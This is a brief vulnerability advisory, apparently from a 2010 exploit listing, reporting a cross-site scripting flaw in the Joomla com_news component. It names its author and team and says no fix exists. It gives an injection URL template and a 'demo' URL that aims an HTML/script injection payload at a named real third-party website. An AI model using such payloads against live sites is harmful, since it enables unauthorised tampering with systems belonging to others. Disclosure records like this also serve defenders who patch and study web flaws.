Joomla Component com_news Cross Site Scripting Vulnerability

2010-05-16 09:04:00

[x] Joomla Component News
[x] Date: 14/05/2010
[x] Author: s4r4d0
[x] Contact: [email protected]
[x] Team; Fatal Error
[x] Bug: XSS on Component News
[x] Example: http://www.site.com/index.php?option=com_news=[XSS]
[x] Demo: http://www.bgci.org/index.php?option=com_news=">><marquee><h1>XSS By Fatal Error</h1><marquee>
[x] Made in Brazil

Fixes

No fixes

In order to submit a new fix you need to be registered.